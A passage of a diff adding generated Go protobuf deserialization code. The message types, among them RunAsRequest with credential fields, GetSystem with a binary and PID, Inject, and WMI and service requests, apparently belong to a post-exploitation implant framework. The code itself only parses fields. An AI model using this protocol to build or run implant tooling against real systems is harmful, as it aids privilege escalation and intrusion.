!= 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Enabled", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Enabled = bool(v != 0) + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field LastRunTime", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.LastRunTime = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 9: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field NextRunTime", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.NextRunTime = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskSchedulesResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskSchedulesResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskSchedulesResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Schedules", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Schedules = append(m.Schedules, &TaskSchedule{}) + if err := m.Schedules[len(m.Schedules)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServiceRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServiceRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServiceRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Service", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Service == nil { + m.Service = &ServiceConfig{} + } + if err := m.Service.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServiceConfig) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServiceConfig: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServiceConfig: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DisplayName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.DisplayName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecutablePath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ExecutablePath = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field StartType", wireType) + } + m.StartType = 0 + m.StartType, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ErrorControl", wireType) + } + m.ErrorControl = 0 + m.ErrorControl, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field AccountName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.AccountName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServiceStatus) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServiceStatus: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServiceStatus: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field CurrentState", wireType) + } + m.CurrentState = 0 + m.CurrentState, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ProcessId", wireType) + } + m.ProcessId = 0 + m.ProcessId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ExitCode", wireType) + } + m.ExitCode = 0 + m.ExitCode, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Checkpoint", wireType) + } + m.Checkpoint = 0 + m.Checkpoint, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field WaitHint", wireType) + } + m.WaitHint = 0 + m.WaitHint, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Service) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Service: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Service: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Config", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Config == nil { + m.Config = &ServiceConfig{} + } + if err := m.Config.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Status", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Status == nil { + m.Status = &ServiceStatus{} + } + if err := m.Status.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServicesResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServicesResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServicesResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Services", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Services = append(m.Services, &Service{}) + if err := m.Services[len(m.Services)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *WmiQueryRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: WmiQueryRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: WmiQueryRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Namespace", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Namespace = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = append(m.Args, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *WmiMethodRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: WmiMethodRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: WmiMethodRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Namespace", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Namespace = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ClassName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ClassName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field MethodName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.MethodName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Params", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Params == nil { + m.Params = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Params[mapkey] = mapvalue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RunAsRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RunAsRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RunAsRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Username", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Username = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Domain", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Domain = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Password", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Password = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Program", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Program = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field UseProfile", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.UseProfile = bool(v != 0) + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Netonly", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Netonly = bool(v != 0) + case 8: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field UseEnv", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.UseEnv = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *GetSystem) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: GetSystem: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: GetSystem: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = append(m.Bin[:0], dAtA[iNdEx:postIndex]...) + if m.Bin == nil { + m.Bin = []byte{} + } + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Inject) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := 